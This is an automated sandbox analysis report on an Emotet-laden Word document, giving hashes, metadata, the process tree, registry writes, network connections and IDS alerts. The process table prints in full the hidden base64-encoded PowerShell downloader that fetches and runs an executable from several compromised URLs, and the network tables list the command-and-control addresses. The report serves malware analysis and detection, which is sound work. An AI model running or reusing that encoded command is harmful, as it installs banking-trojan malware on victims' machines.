| File name: | 871d23faddece4c7ee8793c5ccc76b49560c61add37787444a9445cf6e29fe4b.doc |
| Full analysis: | https://app.any.run/tasks/5c8e10d2-b1e0-4d0d-86fc-4b7d0b5e4ab4 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | January 17, 2020, 17:04:32 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Vel., Author: Raphal Joly, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jan 17 14:46:00 2020, Last Saved Time/Date: Fri Jan 17 14:46:00 2020, Number of Pages: 2, Number of Words: 4, Number of Characters: 29, Security: 0 |
| MD5: | 6F67A60ACE7609B0DA9A66D06239B79A |
| SHA1: | A25EC5F9F89BE005A6FD61DE241D03B97D049FEE |
| SHA256: | 871D23FADDECE4C7EE8793C5CCC76B49560C61ADD37787444A9445CF6E29FE4B |
| SSDEEP: | 6144:c0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+vpvFrw6:c0E3dxtR/iU9mvUPvLrw6 |
MALICIOUS
Application was dropped or rewritten from another process
- 858.exe (PID: 3932)
- serialfunc.exe (PID: 4040)
- 858.exe (PID: 2488)
- serialfunc.exe (PID: 2300)
EMOTET was detected
- serialfunc.exe (PID: 4040)
Connects to CnC server
- serialfunc.exe (PID: 4040)
Downloads executable files from the Internet
- Powershell.exe (PID: 3824)
Emotet process was detected
- 858.exe (PID: 2488)
SUSPICIOUS
Executed via WMI
- Powershell.exe (PID: 3824)
PowerShell script executed
- Powershell.exe (PID: 3824)
Creates files in the user directory
- Powershell.exe (PID: 3824)
Executable content was dropped or overwritten
- Powershell.exe (PID: 3824)
- 858.exe (PID: 2488)
Application launched itself
- serialfunc.exe (PID: 2300)
Connects to server without host name
- serialfunc.exe (PID: 4040)
Starts itself from another location
- 858.exe (PID: 2488)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 1296)
Creates files in the user directory
- WINWORD.EXE (PID: 1296)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (80) |
|---|
EXIF
FlashPix
| Title: | Vel. |
|---|---|
| Subject: | - |
| Author: | Raphaël Joly |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2020:01:17 14:46:00 |
| ModifyDate: | 2020:01:17 14:46:00 |
| Pages: | 2 |
| Words: | 4 |
| Characters: | 29 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 32 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 25 |
| CompObjUserType: | Microsoft Forms 2.0 Form |
Total processes
45
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1296 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\871d23faddece4c7ee8793c5ccc76b49560c61add37787444a9445cf6e29fe4b.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2300 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | 858.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 2488 | --e90241f9 | C:\Users\admin\858.exe | 858.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 3824 | Powershell -w hidden -en JABEAGoAZgBwAHoAdQB4AGkAawBiAD0AJwBVAHUAZgBqAHgAdABoAGwAZwBoACcAOwAkAEUAcgBpAGsAYwBvAHEAeQBpACAAPQAgACcAOAA1ADgAJwA7ACQAWQB2AGUAcABsAGEAbABpAGoAbwBlAHkAPQAnAFkAYQBqAHIAYwBvAGYAbwBxAHcAZQB0AGUAJwA7ACQAVABzAG4AZABqAHcAdAB5AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAcgBpAGsAYwBvAHEAeQBpACsAJwAuAGUAeABlACcAOwAkAEMAdwBuAG4AdgBiAHkAdABzAHoAYgA9ACcASwBmAGEAbABjAHgAaQBrAHgAJwA7ACQATwBpAGgAaABuAGsAYgBhAGcAYQBkAGwAbgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBFAHQALgBXAEUAYgBDAGwASQBFAE4AdAA7ACQAVABuAG0AdABuAGcAcABhAGoAeQA9ACcAaAB0AHQAcAA6AC8ALwBuAGUAaQBsAHcAaQBsAGwAaQBhAG0AcwBvAG4ALgBjAGEALwBiAGEAYwBrAHUAcAAvAGsAeABXAEgALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG4AZQB0AGsAYQBmAGUAbQAuAG8AcgBnAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBhAGkAbgB0AC8AdABrAHUANwBhAHgALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHYAaQBiAGEAbQBhAHMAdABlAHIAYgBhAHQAYwBoAC4AYwBvAG0ALwBOAGUAdwBzAGwAZQB0AHQAZQByAC8AdQBhAHEAdABlAG0AeQAvACoAaAB0AHQAcABzADoALwAvAHAAaABvAGUAbgBpAHgAcwB0AG8AbgBlAGEAbgBkAGwAYQBtAGkAbgBhAHQAZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFkANgA0AFUAbgBxADQAVAAwAC8AKgBoAHQAdABwAHMAOgAvAC8AdABlAHgAYwBsAHUAYgBiAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwAwAFYANABhAGoAeAAvACcALgAiAHMAcABgAEwAaQBUACIAKAAnACoAJwApADsAJABEAG8AawBmAGgAawByAHYAawB1AGgAcgA9ACcAWgB1AGEAaABxAHMAYgBqAGEAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQAVwBsAGcAZwBnAGQAYwB5ACAAaQBuACAAJABUAG4AbQB0AG4AZwBwAGEAagB5ACkAewB0AHIAeQB7ACQATwBpAGgAaABuAGsAYgBhAGcAYQBkAGwAbgAuACIARABgAE8AVwBgAE4ATABPAEEAZABGAGAASQBsAGUAIgAoACQAVwBsAGcAZwBnAGQAYwB5ACwAIAAkAFQAcwBuAGQAagB3AHQAeQByACkAOwAkAFQAcgBnAHMAZABmAGcAdABqAGcAcgBzAGwAPQAnAEYAdQBqAGQAbwBqAGEAZABkACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAVABzAG4AZABqAHcAdAB5AHIAKQAuACIAbABFAGAATgBnAGAAVABIACIAIAAtAGcAZQAgADIANgAxADgANgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAHQAYABBAHIAdAAiACgAJABUAHMAbgBkAGoAdwB0AHkAcgApADsAJABYAHMAdABuAGcAdgBsAHIAYQA9ACcAUgBiAGsAeABiAHMAZABoAHYAaQBsAHYAJwA7AGIAcgBlAGEAawA7ACQAQQB2AGwAdABuAGQAawBiAHgAagBiAD0AJwBLAHcAYQBxAGcAcgBjAHMAYgBkAG0AegAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABBAGcAeQBsAHcAZQB3AGcAYQB6AHkAbQBsAD0AJwBFAGEAdgBsAHkAcwBrAHYAcwBlAGUAJwA= | C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3932 | "C:\Users\admin\858.exe" | C:\Users\admin\858.exe | — | Powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 4040 | --d6864438 | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
Total events
2 502
Read events
1 591
Write events
731
Delete events
180
Modification events
| (PID) Process: | (1296) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | "$c |
Value: 2224630010050000010000000000000000000000 | |||
| (PID) Process: | (1296) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (1296) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (1296) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (1296) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (1296) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (1296) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (1296) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (1296) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (1296) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1345388606 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1296 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA802.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 1296 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFC79000A20EAF0D81.TMP | — | |
MD5:— | SHA256:— | |||
| 3824 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZX6Q3D58AZ5FHII06KRO.temp | — | |
MD5:— | SHA256:— | |||
| 1296 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF4158FE1A3E07417C.TMP | — | |
MD5:— | SHA256:— | |||
| 1296 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFF91FB3597C709DA8.TMP | — | |
MD5:— | SHA256:— | |||
| 1296 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF4AE6D5D56150D33E.TMP | — | |
MD5:— | SHA256:— | |||
| 1296 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFEF45FF80C1DF6227.TMP | — | |
MD5:— | SHA256:— | |||
| 1296 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{C39DCD18-3F71-4C41-BC7C-8C57C01A2BCE}.tmp | — | |
MD5:— | SHA256:— | |||
| 1296 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFA5E59E1B37209CA9.TMP | — | |
MD5:— | SHA256:— | |||
| 1296 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{53A4EE63-149B-4CE5-A0E4-CE3D80D7665E}.tmp | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
2
Threats
10
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3824 | Powershell.exe | GET | 200 | 208.91.198.220:80 | http://neilwilliamson.ca/backup/kxWH/ | US | executable | 332 Kb | suspicious |
4040 | serialfunc.exe | POST | — | 100.6.23.40:80 | http://100.6.23.40/fJSyqIfgtxcSm | US | — | — | malicious |
4040 | serialfunc.exe | POST | — | 200.71.200.4:443 | http://200.71.200.4:443/HYnEKozevq9p4jl | CL | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3824 | Powershell.exe | 208.91.198.220:80 | neilwilliamson.ca | PDR | US | malicious |
4040 | serialfunc.exe | 100.6.23.40:80 | — | MCI Communications Services, Inc. d/b/a Verizon Business | US | malicious |
4040 | serialfunc.exe | 200.71.200.4:443 | — | FullCom S.A. | CL | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
neilwilliamson.ca |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3824 | Powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3824 | Powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3824 | Powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
4040 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
4040 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
4040 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
4040 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
4040 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
4040 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
4040 | serialfunc.exe | Potentially Bad Traffic | ET POLICY HTTP traffic on port 443 (POST) |